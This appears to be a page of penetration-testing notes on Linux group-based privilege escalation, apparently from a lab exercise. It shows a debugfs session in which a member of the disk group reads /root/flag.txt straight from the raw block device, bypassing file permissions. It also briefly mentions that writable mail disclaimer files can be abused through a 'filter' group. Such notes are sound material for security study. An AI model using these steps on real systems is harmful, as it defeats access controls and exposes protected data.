Groups
Disk
The disk
group in Linux is a privileged system group intended to grant access to raw disk devices, like /dev/sda
, /dev/sdb
, etc. It allows users to perform low-level operations on storage devices, such as partitioning, formatting, mounting/unmounting, etc.
Membership in the disk
group is highly sensitive — users with this access can read or modify any data on the system, bypassing file permissions entirely.
# Confirm group membership
ian@DANTE-NIX07:~$ id
uid=1001(ian) gid=1001(ian) groups=1001(ian),6(disk)
# Identify the root fine system (/)
ian@DANTE-NIX07:~$ df -h
Filesystem Size Used Avail Use% Mounted on
/dev/sda5 14G 7.9G 5.2G 61% /
# Open the block service
ian@DANTE-NIX07:~$ debugfs /dev/sda5
debugfs 1.45.5 (07-Jan-2020)
No entry for terminal type "xtrem";
using dumb terminal settings.
# Failed attempt to create a directory
debugfs: mkdir test
mkdir: Filesystem opened read/only
# Read a root file
debugfs: cat /root/flag.txt
Filter
The filter
group is usually a custom group, not a default Linux group, and it’s commonly used to manage permissions around mail content filtering components. It can be assigned writable access to sensitive files, such as disclaimer files, which can lead to PE.
Last updated
Was this helpful?